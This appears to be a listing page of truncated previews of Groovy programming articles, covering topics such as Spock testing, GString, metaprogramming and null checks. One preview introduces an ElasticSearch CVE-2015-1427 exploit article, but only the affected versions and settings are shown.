The best way to develop Apache camel applications is TDD, because each component of camel is independent and testable.There are a lot of good test frameworks now, and the BDD (behavioral test Drive) with groovy Spock framework is relatively good and useful.First, we start with the simplest processor.Write Test Cases First:Package Com.github.eric.camelImport Org.apache.camel.ExchangeImport Org.apache.camel.impl.DefaultCamelContextImport Org.apache.came

In the Groovy language, the system has APIs to help us directly do this, which is quite simple. For example, to determine whether a string is of the int type, you only need to write the following code: DefNum = '23' PrintlnNum. isInteger () The running result is: True The following code is used: DefNum1 = '2. 3' PrintlnNum1.isInteger () The running result is: False Similar methods include:isDouble(),isFloat(),isLong(),isNumber(),isBigDecima

Speaking of the "in" keyword is rarely used in the Java language because it is introduced later, i.e. the JDK5 enhanced for loop. The groovy language also retains this functionality so that we can write code similar to the following: def list = [1,2,3] 　　　　　 for(i in list) 　　　　　 { 　　　　　　　　 println i 　　　　　 } The results of the operation are: 1 2 3 This enhanced for loop can also be used on loops on the map, such as: def map = [a:"1",b:"2"]

determines whether the property of the field is Boolean and, if so, calls the Isxxxx () method, otherwise the Getxxxx () method is invoked. At the time of the call, the name of the field first gets the corresponding "is" or "get" method name, and then the methods object is obtained, and finally the Invoke method of the object is invoked to get the return value. The whole process is quite tedious. But in the groovy language, we set or get property

In the groovy language, there are three ways to analyze methods and properties during the runtime, respectively: First, inherit from the Java language reflection mode. Second, use the "Respondsto" and "Hasproperty" methods. Third, use the "Hasmetamethod" and "Hasmetaproperty" methods. All of the above three methods can be in the runtime to analyze whether a method or attribute exists, I believe we see here, we must think that there is no differenc

 The ElasticSearch vulnerability is numbered cve-2015-1427, affecting version 1.3.0-1.3.7 and 1.4.0-1.4.2, the cause of the vulnerability see:http://drops.wooyun.org/papers/5107, this article specifically discusses the exploit. The 1.2.0 version disables script execution by default, and if you want to use this feature, set the script.disable_dynamic:true in Elasticsearch.yml . In the 1.3.0 version, we started using groovy and sandbox for scripti

Explore groovy mop nine interceptor 1 In recent years, AOP (Aspect-Oriented Programming) has been widely used. We have applied it to various aspects such as printing logs and permission control. When Implementing AOP, we generally use tools such as Spring AOP. Of course, tools are generally used to implement system-level AOP. Such implementations are generally implemented through configuration documents. When we need to implement a small range of AO

1. Inline syntax?? The rules demonstrate as follows, and the weights and the parties must specify specific parameters. Also, variables that use inline syntax must start with an uppercase letter.model.add ( ' Dogs ') Likes (B, ' Dogs ')) >> Friends (A, B), 5.0, True);?? Because the inline syntax must be a subset of the groovy syntax, the following operator variants are not supported: ||-! ?? Note that the variants are supported b

The groovy language has a lot of seemingly obscure gadgets, but after use, we often marvel at its enormous energy, and gstring is one of them. The Java string object is our most common object, but it is also the most criticized object. In a word, string is very inconvenient to use. Gstring is not only easy to use, but also the basis of the dynamic nature of groovy language. The so-called gstring refers to

In a keynote speech with Martin Fowler, he provided an astute observation: Java's legacy is platform, not language. The original Java Technology engineer made a terrific decision to detach the language from the runtime, eventually enabling more than 200 languages to run on the Java platform. The infrastructure is critical to the long-term viability of the platform, because the computer programming language is usually short-lived. The JVM language summit, hosted by Oracle every year since 2008,

For a domain class object, as in the following example: class Empl { 　　　　String name } We need to manipulate it, such as printing the value of the "name" attribute, and we first have to make a non-empty judgment on it, as follows: def em 　　if(em) 　　{ 　　　 println"name: $em.name" 　　} 　　em = new Empl() 　　em.name = 'Tom' 　　if(em) 　　{ 　　　 println"name: $em.name" } Obviously, if you do not do non-null judgment, then the first println statement throws a exception, makes the judgment, then does not
